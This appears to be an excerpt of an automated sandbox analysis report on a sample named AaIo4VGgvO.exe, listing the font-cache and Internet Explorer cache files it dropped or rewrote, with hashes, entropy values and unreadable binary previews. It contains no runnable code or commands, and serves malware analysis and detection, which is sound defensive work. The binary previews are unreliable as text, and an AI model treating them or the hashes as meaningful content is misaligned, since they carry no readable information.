Preview:	......Z...W.......<D[^1Dy..g8.09.4<X<#....%.........9WA..6..i.......}x.....&z.k.X.e.Dg......'OLN3}Aj..A..5...R'..p..HV+.\|..?v.v'./..}.zc.7..3).U..c5U.0l.W4F..:...P!....S.}.....\n. vh9.e,...t....<sx...#;SG....:....'5&..4.c\|.^..y...$.d..\.O &Q#:......%..Z.@.<Af.L.1.}..sY....y.f...Oj._9.Q.8.SbJd..d./%Rz...+.{........](hJ.....L...^`m..h..Z\|,,.\<+0"..O"5<Jt. ..rh...0J..<"x..-..&eg\|...A.i..0....6.q.(....$...=....X....'..Y.U.G.@i-.BN.#Y..rC.f.L.X..Qe..yY....#9.tO..0..h'..&...I.OM..ax......U ...zI..ht....C.M..G.T~z.3.~.s..o..o.....0.B#..#.S.......:}<...'../......N.S.k,.....z.......t..a(5(...).....u..(.@%j...(.O!... a[._.Lz..O..H;...(.l.v.0.@........{....o._..O..E>Z..U...P.f..j.F...!.....F.h7#.=<gav...c.) ..O.QF>n..=.9..b..az.6r...w...~..@...uS..JF2.\.8.l.{{.Y.S<. ...Bw..."g..~.2...K.5.I+.'l%}L..?J.Q..ZG.....P..e..;..9Ec..#5...A..7Y....U....4.,.IS.>9.....#.T.x..s`.2.&.~..f......?y.......F.^w.pW.B....]..z....H$.W..........}t8..*..\|..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.2390011640307845
Encrypted:	false
SSDEEP:	6144:8hT0xQsKRBUfGaq92Qa8AjCnU2nmdqjcv:8hT0nKRBzx2QFU2M9v
MD5:	C56438C742FE3A1DAAE777BA089E067D
SHA1:	D7CA406DB30908D1C22259D3032AA1BE8F03C438
SHA-256:	E0D86DAA56DCCA08BBB9E799166368121ADD1A36D139039558AD222FAC53E772
SHA-512:	78E9111E8489B92315219939E8542B06334C68A1EF340D99D97BFB598852A7AEB33C6B84E0E381E92284D781705679EF4A7713882DA8DA12547A622682339239
Malicious:	false
Preview:	........./...T.<g....+.x.q.........\|.......wS.,g.N.J.isw.M...)....x.9).28oh...C..E.`g.4Dm..@^.......=.,3#w.xMq.b...L.3,.`.....!o{Z4..$..k.Ta.[..O....(...}5M.?.zSf)...;Ph.u.P"m...r.J.sI.!$...^.+.`........X\F..\...1b$...k..q..T.....!].?....PT...`4.....n..y......1w.{q...P.,..{e.\|4.[.E..LP....C....LB.H..<.......IE../.z.G.N6..^.4.4..0..g3.(}.Y].W.Q..@....y.Nh.-......B.U..o\cG=.....2..d....X.....(...?;`..($..$+U..g..P.......~..SG..%...e.....!...$...m...O..~O..p...,....................=...?X..9.r.l.d..A..D..L@.5..C9.......c...b........R.......X.p..6..j.'.e..+...EKx...kN..ako...xI.D...3I:.a[...`........^..M.....K{=.+t..J.x.2....XB......Y.,<...2..'..\|<lr....tR.v.....Qc..v...7..4.b}D..@LX....&.K..G.>L.yC.~a.]*A...fS.O@..z....=l-Wj..{..1..R.\|.....{..}..dLZ...D..N&.......lp.I.y.,[..A.Q.../..e.R........m.......O...k.Xj~.)...{.....'(4p.A.......$c....'.5u.6.&~..OgH.......g.b.......X.O.^9k(......D..b.2..t..\|)".@......a.<.g;.E^. ...B:....pT.F

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.265438434597191
Encrypted:	false
SSDEEP:	3072:QDTFCnCnTmNFGunjxoOhnlzy2KaoWKJeqggRaYcct7tc7UvMOTZUqeZ/qH:AFCnKTmNRqwnxboWKJXRPDQ6yqU/qH
MD5:	98C01BCBA3865E5CC068B591B4D94B76
SHA1:	8FF186CE5262E0B22DD9AFCAA8B011E6DF2A1B10
SHA-256:	1F68ED53C2D5C90414071B8E3982F16949EFEBFC50F55B62087F567C7B8E17AD
SHA-512:	4B6EF92C81E75B3AA44446832B7719B375AB5090BC2FEEBE0C78D02821E8106F237F7ABD87564FE50F038FFF340854B421550BE709E318384D2E10D1D2F0F173
Malicious:	false
Preview:	.......'RhfD.K.!.cX...qs.,..>..:\|u.S.M..X......cj...q...0..H^.....!..~.l."^...Z.W.Nh...n.....%.F1..(.:...Jz4..I....n.e3.lZ].h..:.cC.......P.n...^\|5.<m..T.\|e._..f..(5. ..#z.w...._.,9...X[.......oC..j._........?t......c6..{..Y41...}..F.}.....i.<..V.d.a]I9...!.n...D?c.7K..Dj....K!......f....B...s..{O.1S..u.Q..#.).......~<.N.......m..\|F.7..c..B.....'.rp.6O]].9..iD.ELT..D.....kH.......F.~?..=`.Ct..X.m....,/.$.P.i.a{t.+\|u.....l....k.."t....c..i..W.p..Z.,k.`.).,t...a.U\|..J..2.J&.wR...P..b.S2.....R4)O....... ..B.R...p.........ca...z.EJ..?....4..#M`.F.}.....!]..\...%K.....9$...w....[Bo.s...B..#"..c.^.T...`.......\|u.l..#)g.K..]K.... L.h....v;........d..8v.....q;I.........'.....4.\...V.O....V5J).j...=.....^...$&3.~^:...ys...#.0..v...j.3mV.>...-..d...z........\|a.j..X...{..$.6.......H...VT..Y\|.<.h.....{....a.k~...U..G..._%..&..z.89.F\|r.E...l.]5......T..y`-r.k.5..0.i..'........p,.....@......1...&UR@P_l.....u.]0o[.A..i..qK..&..@.......p`.Y...p\.}

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.234050981872468
Encrypted:	false
SSDEEP:	6144:fuorXkYBWR8WFMWcBXWlYumtDnTmiQxvdb/LIAf:3ZcR7FM7BXW4tnTmbd3Vf
MD5:	B27F91872946651D8F0A3A1A5F48CB55
SHA1:	471427CBFF0AE6C16AA2EDC1EDB1FB7F29AA73A7
SHA-256:	17C77CAE3F1A34FDD83642BA1F8A98D9781C58440BC74B4B37D2F953EB5BE7B5
SHA-512:	5DB3C1A6A438B80A932053905FD333E18B4F5F0B173505FBDD18ADB78363C249520686D97C3FAA457E08544744CF9D49DD77C32EA83B685F9FBAE6FC2026FEA1
Malicious:	false
Preview:	......y.0...G..(..q.......Z...7..W..Y..9...}..E.c......jB.Nt-&I....#o.d..QqU..3....{..,n...._-.\|Iv...?q.x.-.e....s...<........y...........h.e..Cg.(..v..... _=....}^(qb..5.QP...j.2?9n..RJ`+..qqC...YI......L.f[l.@.W.R%.D(..^>.p...M... #....7EoWY..c.HO.P.u..#..(.]..^.W....KKNR4..h...U.8\<.]b..R...Q...J...!..:.R#0.........h.^....K.9.@.dsA..&...v.".qiH.._&.......42;W.xX.E..g..e .l..U.6;.Dy....@...5..^...T_:;..#.....-t.o..0.^.4.}..c..........&jx\|x(}..;......p5Ogx.o\...[.}iA.@..v..T..q.?}...D.....p:a...l..-....}Y..>_.?......-....Y,A4:...5%..rT..3..Z...&.tC$......sv..6.#...sqL....Y...v9...+..5.#..'Pa.<..._..a..A.R.cHd....n.s.>Iy.aq..Gf.a,(.el..Z.FO..a.V8.#\hF\.;..}GA..G.\|g....{.....=..B(.hE..F..._u.{w%,...].4.N8o.~.o.&.m....=....:_Rw.^..........v^...w.J..NO....%..U..=..F....u.Y........1I#rl.s....m_...i.t...3 ....8..`M........(W..=.I2.Y.......^...".Z..d.-*..!JUp.$q.1...@&....S..<...NH.....J#g=.<.\.!...D.}.c.x..T...e....4.U..+..~..fI=y..a>\|..6..3.U.T

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.260279695026032
Encrypted:	false
SSDEEP:	3072:UM/u0w1VtFJP19jqjLuEyRcUFSImE+Kvt67A4bxXjAvSQEOHAIBXe+XRKIvpNl0l:U+YL1uAcURmUvt67ZxXjAKQjje+Vi0k
MD5:	B6758BE79CE9365AC721FB0322FB78B2
SHA1:	ECE640BD0E29CB8D51A60D2B1B8899AC940AC1C5
SHA-256:	AC8E7D03FB035B6D3DC12BB684B80FE2BF49E49244955C33025B1C429252D05F
SHA-512:	FB940FE114EFD7F16C6AD7117F73DB40F124FEA817A0B824A0BBDB8FAA8F043CA36C94CD5C8D1E5BF78B5CA68C0C5F59D7B7F7490D640CE36ED558DA9CA348C3
Malicious:	false
Preview:	.......<.Kw..S.e........B......5/u..w...qi.h^.....s. ....m../..6.........}.7.x.+.... ..7.4...A....L#B.ib.......0..\..J.....F.._.........4.B4.z....E..w..#.56.Yu.{.y.Pi@....h.7.jI.+;.n.c.......R.J-b....0....$..1_=.......d.o^......".....^B;.K.....tq..{.j..&v.{.........T....v..cG.aM.6...._.W.....+.M8.m/VCjq..C..7..\.......J........8.`..W.G..t...j..Y....5N...>..v.73.?..N.J...t>..,.....-......[..{%J!....2G.I.!.M..uI.o...Lx........8Y..N}...E.g.......L..]...5......."x{......x+...H4F....I....5..Ly.a.'...x......[..pi.._..]........^A.v..!.6,.....>.v.f..2...,/..JP......J&....].....t.X....>T+..P?lZ{/."" ....U..%..~..W;v....8....%B..hQ.%.}.II...W.d.''.,.8o..}5.&z w....L.a...yB.(a%1.~#...{.t...b.#.w.8........!...7vJ.GkYb5.=..Q...x^..7~...,.W{.Em..Y..$c...\.t@.O..$.3>A.....'.6G...`...n...B..iF.0l;L;....)!......c.3..q!*8...4...+.w....e.....1.7.._.T..^....R....QE.!....m]:...../."7.r...7..F....a...]...%..%.5..;Xv..U..:B..W....0_\|.C..XKV....i

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.233704860864097
Encrypted:	false
SSDEEP:	6144:JI7vIfgUzfXGxjYhx12Wy+jRRQOa/dKF2Ar:u7vvyfxx04jR+KVr
MD5:	0458F93B73246C4C65A9138548629A28
SHA1:	57E8811591340ADB82A7EFD2579A5DF4B013E06B
SHA-256:	20FF8FF727F6A340AC476D54C8AC1FAD5A121AAE62AE69B0EF576A4B5593E951
SHA-512:	FFBDB5812F23540F70A121782398E9E96B43A7CBDDD7116A43FD579C288253338D317BE00394B40FB924FEED871DF0A23AFD6FBA037820FDAFF70E93168B3E2E
Malicious:	false
Preview:	.....K..f.0.?h.W{....OD+.W.?.....I/.'.B......H.#.LZ..N..B..$..MS.....@,h}..G.......Q..5...".p.s..s..}T.NCp..M...b...6.)(.._t...).R...~...L..[.y..p.m.H..O..v}..=$.1eV.,T.......PLoG..r..fN.A.H9...U9.._N:....@..v....y..A...&.T..nD%...^..%...~.u.`.a.vX..BXt2I.N...H.l...a...g!..S=...v.....&T.`R....=i%..[.m{..v....\|-hj./...5.-s/S0v8.D..H......c..nu...i.G...V59.U*N.r.c`..9..V..............z......!QD.....Q\|......3B....T......b....h.;3..i......j..(..#x...z........].d%..e.....t...v.?WN.K..2hy...S3.v...lE.....Nl.}C..)./\|E......k .=......!...Y.4G..2.\H......N.r.n..e.E0...N.h...;.G..t.wy.>..\|..\Xk@.?.......~b.Y..<.L..@/Y...........C.......#_..aP..'%.f.......d.'\".x...A......q....d\.?H.Q..gZ.2`..2,...&...:.c....u....5..#..W\|..K..i0..w.g......$..?..<N..B.].-(..z.O...7Vs.........P^8B.E........I.#Hl..a8...%+.. ..}.sw.......1.....%..Xb....[.KWb.o.../}.L......,...Jz.&........h......p)..c5a../x.>pC.M......`\...O..Ph..J.$....T80...w. ....g...%GL.o...X.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.265683578515777
Encrypted:	false
SSDEEP:	6144:884O7vwvpxFbH6VH2CKkRLkPA++Uyw1DB53:88v7vwhTbHiBKeLkI+TVL
MD5:	80157739C5239C311645DDA212DF4E9E
SHA1:	9BA796D6F9F8135F2CA9751E88D38349D948A6E6
SHA-256:	6D7DDF022FC6CB344A3D5E51B950AC05B88E0446C7941D5EB282A05E2552731B
SHA-512:	36FE99710835C15C23805004F327D2F3035C3DC54A45EBEA8584E2E43E48F7DCBAFDBF9DADA5A1859C6D011A1B151261886AED46BBC760C5027C9BB9F2CC9D0C
Malicious:	false
Preview:	.....sE.....a.........;.;.PA...S .`a9.U/...u..vi Ar./&..+.y:.w..8.`....i.u..E=.........._\|.......s{"....D.N.7........x....._..E!..W..#..+.'... .O.S..2[..@{p.h]...Z?C.V\|..k.A..Am...S._.{.....IT.j.#a.\.....~.......qe..._#.\...l..S.0~..xM..?T...I...y...5...........k}..)..bw.k..As.L.S...9X..G.y.vD..'.n".q........}..%.>Z.dp.lE.0y..w}.4.x....J2{..[...x...#...`oI..h\..kR....k/D...`.....)b...?.;..&.!9...K..h.l]n(..]q.FN...(.H.J..y...\|=..,_...2#Pc...Y.a.....U.OK.lv-...?y...L.yDz.OD.1..o........Ex...E.E].1...U....x.z...\I.M.Z.......,...H...8.ez..z.# ...e..{U! #Y^... .!.xy..u7...[...4.7..?...c..q>(..H..C4....[..h..,.UD..c0..o.yEb.F0..x..y."}.[.5.as.....I}00;..S.5u...&...!!I.xG..bj..;v......yz..IT..lv..^.RNy.h.S.EF.:nr....$.G6.X...........:.I4&.9.u..3Q........%d^..tQl.;g.f..y.[.......*%...v.\...+..Q.<e..H.s...k}P.n\|^.......?...g..!......"f]A.+..aH.2;VB{[..S.....%....C.MP@..D..pk)..B..YT.;X.GG....;......f.u.....4o9...'ohIv.\..W...BN..75..Q.eA..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979759016074543
Encrypted:	false
SSDEEP:	192:MEStOnLdZT4BoQl1h49pUv5fkymZgxwe1PHvGaEZ4VvfB9tR:MESepZ/Ql1hkm58ymZspHem5tR
MD5:	393255019E970EA35D2C8B284CD5FF7F
SHA1:	F07B013D9F5CC6535FBD2D0EB51215FF914D355E
SHA-256:	A5548F7EB60ACF89B613919102AE3F86A9EB30290A9C6D3B0B2CC0B138FAA1DE
SHA-512:	C0533BA0AF1B20EAC87212FEB3C383FDFC5DAA2FEE8ECDC466299CE1E969A3D9E3F10998FD1F3FE62E2D8003D29FA39BE72E617974583EF88F7EF4D42D6266F7
Malicious:	false
Preview:	A.....-.xS4...]a....he.....w.it.R<.m.}2}~......U...]A.A'....C.)../W..iQ3..+..Vv.#..P"..........\|.it.....n.H.#.2\....J+jt..vi.F.j.....ke....U..d]..C@...\|.K...9.Y.l....t%.R'...D<'#\.Xg....CE.S.....\|..6<..i~...S...g.....).'o....Jl.Q\h...oJ_.z.......j.P.....a,~a<..Ky...U.8k5..f.l...z.g0b.Q....W....}..^..\.7.sY...U{...,x.'__.....Y..).....A.$....%31...Rj...B..C.@y.{...#Z..!.(X...pS.&.vs5...^.,.....+f..] .....D.!Z.'+..{.uh.......#.u...D..p..?mz.A.....GX.;X..~R.....A.......I}...nv.M....X...D.@C0.~a7.n'7.~.N.).b....M.LH..a. ..yE.4VjY...8....7.......$Q/"..n........\.V.k..o...n8....}..o.N....^.cj......E....,..+....=\....++s.`b......<o}`...R\\.oh......L....q.FT...vbz<w...,.......Y..ni,7..:.*.vMT..E....T.j......u.^.....b..B..@hK?.........\|......X..!.........q.v:IF........a..e.u..._r....Y...n....17.!4<...Q_..K.S..8....X......<.....D..=..F...E....c97.....,l.W...%Px5H0..g\|/.c.o..z...!,T.g).5....w..}.......`......./.HR......b..j\T....' ...n..T..`... h0d.=.n.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009428343288883
Encrypted:	false
SSDEEP:	3072:ChuUJlFcaRfcdNciAkPiVM00rJIpF6+EmcDy+7IUfARASlNOT7VRPDkSSnLRrR7X:Chuo4ail9+B0dIUQAS5BV
MD5:	14101299BCE9F5F5B36D796611494AFD
SHA1:	A3C2D0222CB538FDD24E05ACD937F1162FEC0561
SHA-256:	A213A8F4036622B97BEBA9F54623A078346017FD120F3C61C183F15223066967
SHA-512:	1BEED110B3130B21F883AC44352C013B63346BE5248ED6EF9C72B36726E0424C6B6DA81996A289E05BC71C27342779BD67E6FA8F873BD31CBBBAA359F5573229
Malicious:	false
Preview:	.....=d...-.p..._./DMC)...l.E.rS....vr\....:DsG.}..8.:......Dq^9g.....[[...d.t...4..<.i.3q....G..p%.Ib....N.k.(.zA.?h_4pPiZ\.&..b%G..DM....OH..LZ....e....q>C.FB......8.'....3...YJ!..S.'xm..E...k......xi-f...R.jB..Lp.......e.9..t...M........N.P.i..c..W.9...=R..U..M.Z.c.D.Y..i.......=.GzB.s=t.....S...Nt...A.'...#S'Lr}b.......{.......DGN....3..D......+....AV...............z.j..'<.}....Wu....U.!J.Iy.].NA...>...,.p..;U....'\|..t.N...%..Pdm....).e.....Cp.u..:....~CE1!..2..^.#..p.i......I.FT8tG9j.O.b.........e.g..Z.76....wS.,?..6....."...P....i.)B.S2.'.w..=..T..\X..(..A...D......wd.0.4.2.>...t)..e.....-"..Ei.V.=T.. ..5.oR.......M.b.B.....&...0a....l.5.\.G.PD.....8...fA!z8....WElOL4>.~;.O.....6....}.I.....M..=...}x..1...j\..`g..D.6..-...;^P.I.:..NO.F.....9I..T.PP...Q.':.&...............M..;}/..Ht.QNW...m.'.....w.a".,....`}1.G....[d...G.+s...`......`a.rr......!;.......Y.pK.....g'.....$o]....P..+>....v..:..`..........J.Md..,+X...9..A......@...?.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207799519886893
Encrypted:	false
SSDEEP:	3072:yVTwFgGec6e09dz18HPeRJG/gHR4oKdS81IwcnK0/cUrVxNJm/3ewo:0w/H2JgPUJGYHRconAwVxNq3eX
MD5:	155CBC88ACB22A8BCCB75ADA74B65126
SHA1:	FD3557C258C786191A308C86AB117800A2206DFB
SHA-256:	EB5E7C82FD9223D57A84979650C6458B65F95A4B8F31E0B3376898EFA5F6939E
SHA-512:	97F49FEE4F3321025DB89DD3434095BC45E1732C0DC5A0411B8423CBA829FE5CB632D68CCFD0561CDA26586552B0943884EAA19A715DD79F6EC63983E10007BF
Malicious:	false
Preview:	........n.p..rh.,.b...P.>......T&2O....;.U..X.Ah...$...E....g..H..-.V2;B./5.187A...D\.......%\.).7.+D....6B.>?+............(\|.qT.3.eQu.C.).._w".3...Z.....Q'.I8..w.s....>\...>.."<,s.NN..V.M.UO....0_ ...O..WHE.ug....`..F.:T.M <..1.=..T...l..z\Q..3.Bc...`H....[.QN.xSZ..uJ.b+...F"..f..2.3\|..9.}~.\.q./#..).Q...Z....,.b,.~.$u..8W.H]&Ug.....\|.x...Q...6a..7K...a..E.?.3.......M.R....9.w].u.(f...6..v.z.\_0..>....1nI..I..g.....9S.....e7k..<.].^ea..ID.1...S..A..=.`......O..0'.U....;5...f.Pg9....\|.=.G...Oo..IM9D...<....e.7. ......"4..Q..j.fR....n.<..?hTv..E. gX.Uy....j..<n..j.l.M......3....m...e./v.$....B..Ef...}_.Y.d;..=..y7....%......Z....Z.pD`v\.e.4.Pz.Hja....ZF..LBS.Ng'(....)EN.......O...?B./.l.Q..S.G...}.S....2.'.......\|..R.c.*......E......."}.....\.E..O..nR.6:..a...H........U].~.......Dp...i.q.I.A.:...!A\.h6....{3..}..gay=.5 .......0...b.d.k..yF.....&Y.....m..._!..Z..k.\|..Y...u:.......&j.....H..........t.....q..@O.g...K...['\|...)Z^......r.J.....2.A

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077730571338994
Encrypted:	false
SSDEEP:	3072:6D/qumK6wjYStYSdLO/RQXYMKNwVifSZpo64YQ6gMjOJLYb9T1wvw:a/qumK6oZO1JQX6NwVbC6NOGT1w4
MD5:	679056F43E1C24320D003E4E9F2F15A4
SHA1:	C67BDB0E21089E35AD3BD5F2F8A9B10C810F4DE9
SHA-256:	F10E02BC94E9B4BEC4562246C6CDB4F9CE625DE8512EB0B66E130B7D3A695D10
SHA-512:	5E5D4B491B7C0731DA1249FFB76573F4FF8FBCC4A85C7A8FDF1F4134FA079B88B9D4DFB810DE0B637578F0ADCF03DEB835AECBD3E7918169CA5ACAB33AF204E7
Malicious:	false
Preview:	.....\|.....B8.....[.t.F1.'.i......i.}i;.5j.V 4.`.STT...e...+X.`O...I....&9[.%.Co..M8.. }[...g..>...y...o..?......m.BB.T?....P.[&{d.1..c...d.. .J....t?.G3...%....\]..d...g.P..6..J.fB.a....<...N..:......y.x..njz...Z.-)..'..s.HW.t.".5@y..y...\|....Fv.g..]p./A..5...&..`..W...a\|.-..V..E.....R..09...F<.CH..a....T.l>w..~..u.M.#.i1 .X......\|`T.x.8...s.Dx..T...Is...\|...v."n\.....X.7.I.I.D..5D.7......Y......U..2;o....Y....L...P.....i8l...S.......XK.4.H.zy...3U.~k.....M....C...Zk/WToB.g......m..4......f..z....s.~.E.^K..1.9YE....p..2..FD.9Ro~...a.:qI...,......1_S....83....WN.=...S..EXy:.zH..........,...P.J....6].5..M.\|=s0..+.O..!..T>..V....r.A.PP^.. .(K~..5..%1......`....S...)..DN.....>..v.......X.....).'...F..'5fgs...h0g..q9Q...G....hU..N.{....X.>...h.@NF.k.ox...O.._.B......Y.....Re)..^.D ..^.Z(^.S^)jxfn...:......\...W.O...x...G7..%.....hU.d q....\.4S...t..x..F...@L........n.$.[...@"..R.o.. ~(.:h...._.......4=.)}=.]...#.S*..........Tb

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207802979408211
Encrypted:	false
SSDEEP:	3072:4bbneXExTTm9EqlLaYxqnPZvq2umyYhZqyw4UW+TA1mdCktTXH+m2Lu4GF9:4jxTT/qVzAdqEpZqyw4UWAAOuy48
MD5:	7D3C39F2C9A9B939F6A8D7BC2A6D9265
SHA1:	420F8B8F94A63FF686F9E86F9E943EE9B3BF622E
SHA-256:	8F4AA65C3067C118939EF89D557D34D62963C5B6B9D2D6F4CDCB9C4B7703D03D
SHA-512:	412F3A589B7B825D164F4E2EDA835362189E68CA3DB88F7EC9073D32A26C8614E5E323DF68C65BE446A0BC575B89A005B95B6D86D03379F0D4E2A10FC28D3D12
Malicious:	false
Preview:	.......i^.....y..Y&K.E......0.S{.'.q....LO.....BD#.G#.#..PV,#.T.1.{...GQ.l..z.^.F..@sRa......l..e....9M..dI.a..!C.....m...A}..4..O.mo.....qi.Y..ey;)...q.......Z..ID..\|M#)\|....OX.>.1...9..R.9....S%^.b.....7....k".E....m[.g..!...(...+{.G\|..F..A@.Y!...Z.....7.t..?.....Z).&.?m~..).....z.Re....9.9.U..'..>...CT\..K..G......K[$p;'..=..v.G.UQ.\|.7-D.n..w.qIj.$ep....-t.W..}...\.O....QS!..o...:..<%\..j.?E.B......&...QI.2[../..[...^...X.m ......4.'.].T..`.>..\| ^D..3 .?.Q.....E.k..+.... .G..i..4....K...V3.t%...k.\.....S.d.c.".U.Y.\|..t...t..S"XC..f.R.....cz.T.Z........5.R....9.8-.,.H..3.3e...k....T.N.....X..~..@5.. "......z.s..\??o...})..E.........i).V`)a_.,.9}@...h..h..<r)T....3M.O8AKG-Vj....(z.....z...C...(GQp.f.b..)k^g..9...K......ZW...y...c?..5N..p...D..B...a.o(.Q'....J1L... !BB.t....@.........La A0%%#...E.. =.7mX...p...#....D,..a_0.../..A.v.Tp......!.i..*..g[.;O^..Kg#g....9.k...$NJ.'Zu-..^.......?.z.K_S...3"...H.k..'$.t....B.<.sz..f4zyL..$.:.q~`....\|..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.945062423873619
Encrypted:	false
SSDEEP:	96:GI5nLAa5RohIkMQcRy8e5dbsQAfRkwLeucowZJRGVtlYh:B5Lp5RSzMPCjsjfRBSvnJRQ6h
MD5:	A1226721D3E91E7558BC688D7E32731D
SHA1:	05539886DE072D2982B96B43C88D088338230A3C
SHA-256:	40B4AB29C04E4A427029FC2B57B5FCB56FB7FBA5F23B63797F05162EF2DCD930
SHA-512:	1C2DB37645FB56FD25F60F2D804CCB6318A92D2F325B563488785E0E2368BFE482B43AE15F1D604A04213B85F3C02332950788917644CA4276CFA2230B80EE2A
Malicious:	false
Preview:	<?xml....[v....Uw.d..$.-A...bfJp:H).....D>.G,.$..U..fy....K........3.5...l.yh...Rk.K.....b....GM..x!.....7..W.U{/.l(...M..K/L).M....c.:.c..........i.?...(.C.......d:\=.T.B./tn...k...@.......mK...YG........;\|\| .=Q.3.=5k....h....=.Ol.wO.A.K..... ...bL.wv. ..f..]."........]x...JF?l.@.1.b....8d..5.....G.k.. c....2q/....f.?f..?....<N..,...m.J?...:.Gg.v.)S.U.v..-s..!.M...}6zBf.v./"..2..~.8....&..N5..2".I..D..g.Q..m.....\]!.....y..q..+......-...vW-.l!p...J..]7.d...Y...l4j<...y....(r[.>.J;`.U..9..K...ca.#G`>...WkE._m..,.d.;....`.%....M.X.~.'......z....H..].. ..4V....<.U.S...b.Q......a..@-w..mti3...3..\|R............I."M..."..7.4..y..ne..K5B?....?"#P...L0.`..Q...3...k$=g.....~....]..d..".....rm../.=...2}....+.D2.^sK....eF.....U.*Sz.d.w...+.Fp....b..'Y.8...+...........<>;.....\|..n......ZP.?....#.C.q.N..><.oz.[-.bcY.j....a.Cw.D...7-/.hs+R.y.....&.. .f....~.<.;u..Ng...e..%#.A..w.....P....,.f9...Y.%....Tu..+.F\|R...%.I.IX.PN.....l.cp."..5.J..w...B%.{?..R

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.720130343871602
Encrypted:	false
SSDEEP:	12:QbLcVQiJCy1nxJVPG91B3d80Wcoukg3NvjJ45209w3Qz9MulWWa+iOshqp1c1+cq:QsVQiJ3xJE960Wlux3N7xcpVaDOpXbD
MD5:	CAE86FA4AA3076582CC7827F4E640B08
SHA1:	CF82D84B8A866A26111FFA3768CD4C32895D5640
SHA-256:	4CB13B27F744BBAD0000A7FB3CA3C2227EFA1E2695196C02BE7856D2173A6126
SHA-512:	D2E7F8626DC241BD0D10F6985E93DFAE2C59F9EFDC3D1D8F628F02E40DCB7C6B27BEAF2C94F2E8EC8C9D205237E086620168F913944010C449AB7C8191C86E8B
Malicious:	false
Preview:	..1.0Z...-....T.f.......j.E.L...0......I....`.#h..5.....P...f...B....U..=..t2..ul....j..rJ.{..../..f.(.v...P.h)^wUu._....~B.T....;..=}r.\|.-.`.S.(.Mr.U &i..s....#V..CUe2...%.'-.0(.b../..Y.......B....(.V...&2^[..`0._..#J...L.!.<.../..$.4?g`.cL....)......s...A.I.g...G.............!...h.......2.+ ....p...\...q[N....Z.~.i./.. ..F.m......v.k......qno.M..#2qXq..?Zqj.$...Gq...(......ET.s..S...Cft/ {.x1.....q.^.S...QtI#xf#...O n.2gk.4BK.......V.m.Qn<)`.91.1...,.L.8..X...b.=.N....:..P.?8...-.......c...H.G.../w....E.....k..y.8E....9.\|....1EJ..W"~.mo..l...UB.-.;.....`...^5..0.....vkCo?uH.b...T..m.d.._k '..1..-.....:....#.....+..9...Y.f.F#Q..o]MpQJ....`.n...R...w.5.G....C.....Y4..l..#S+h.....c.....m.>.C......YSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.876333131219022
Encrypted:	false
SSDEEP:	48:wfZDtzrNSt8Np4cTxq9a/sQu73BmiPe68+D:+zrNSaNSCxq9H3FpZ
MD5:	CF340DC58AA7FDFABD1303E4B3A33ADA
SHA1:	EBD90BCEB22C54427E6D4A03F75BD2044D19361C
SHA-256:	BFD3E5213AB00F53B659F2C156FB4147E174B9A31675A13401747A82F2A2FA4D
SHA-512:	BA42725C481AEAAD424D4F25C4D96F8410F59471C886988BFDF13656C242EC81B1F8068D84C92D56F9A5DFEE91EDB6891AE1A8D3E9B00F704E2A49C5AB6D3A9F
Malicious:	false
